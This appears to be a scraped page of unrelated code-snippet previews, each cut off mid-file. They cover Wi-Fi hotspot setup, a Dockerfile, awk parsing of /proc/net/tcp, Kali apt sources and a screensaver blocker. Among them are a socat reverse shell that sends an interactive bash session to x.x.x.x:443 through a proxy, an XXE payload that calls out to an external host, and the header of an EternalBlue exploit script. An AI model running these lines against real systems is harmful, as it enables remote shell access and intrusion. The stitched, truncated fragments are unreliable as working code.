Basic installation script for create_ap
- Save the
install_create_ap.sh
file in your system (for example /home folder).
- Give the execute permission to the file:
chmod +x install_create_ap.sh
- Run the script:
./install_create_ap.sh
FROM ubuntu:16.04 | |
RUN apt update ; \ | |
apt install -y git apache2 | |
RUN mkdir /srv/git | |
COPY git-http.conf . | |
RUN cat git-http.conf >> /etc/apache2/apache2.conf |
# Listener on x.x.x.x:443: | |
socat file:`tty`,raw,echo=0 tcp-listen:443 | |
# Reverse shell proxy server is at 10.10.10.1:8222: | |
socat UNIX-LISTEN:/tmp/x,reuseaddr,fork PROXY:10.10.10.1:x.x.x.x:443,proxyport=8222 & | |
socat exec:'bash -li',pty,stderr,setsid,sigint,sane unix:"/tmp/x" |
# Gawk version | |
# Remote | |
grep -v "rem_address" /proc/net/tcp | awk '{x=strtonum("0x"substr($3,index($3,":")-2,2)); for (i=5; i>0; i-=2) x = x"."strtonum("0x"substr($3,i,2))}{print x":"strtonum("0x"substr($3,index($3,":")+1,4))}' | |
# Local | |
grep -v "rem_address" /proc/net/tcp | awk '{x=strtonum("0x"substr($2,index($2,":")-2,2)); for (i=5; i>0; i-=2) x = x"."strtonum("0x"substr($2,i,2))}{print x":"strtonum("0x"substr($2,index($2,":")+1,4))}' | |
# No Gawk | |
# Local | |
grep -v "rem_address" /proc/net/tcp | awk 'function hextodec(str,ret,n,i,k,c){ |
#!/usr/bin/python | |
# This file has no update anymore. Please see https://github.com/worawit/MS17-010 | |
from impacket import smb, ntlm | |
from struct import pack | |
import sys | |
import socket | |
''' | |
EternalBlue exploit for Windows 8 and 2012 by sleepya | |
The exploit might FAIL and CRASH a target system (depended on what is overwritten) |
import logging | |
logger = logging.getLogger(__name__) | |
logging.basicConfig(level=logging.DEBUG, filename="temp.log") | |
# ^^^ the filename param says print all log in a specified file. | |
def main(): | |
logger.info("Getting Started") |
Basic installation script for create_ap
install_create_ap.sh
file in your system (for example /home folder).chmod +x install_create_ap.sh
./install_create_ap.sh
-------------------------------------------------------------- | |
Vanilla, used to verify outbound xxe or blind xxe | |
-------------------------------------------------------------- | |
<?xml version="1.0" ?> | |
<!DOCTYPE r [ | |
<!ELEMENT r ANY > | |
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt"> | |
]> | |
<r>&sp;</r> |
deb http://http.kali.org/kali kali-rolling main contrib non-free | |
deb-src http://http.kali.org/kali kali-rolling main contrib non-free | |
#deb http://kali.cs.nctu.edu.tw/kali kali-rolling main non-free contrib |
#!/usr/bin/python | |
# This script prevents screen saver get activated by moving mouse periodically. | |
# EAO-09.2012 | |
import win32api, time | |
print "Die screensaver !" | |
dif=1 | |
exc=False | |
while True: | |
try: |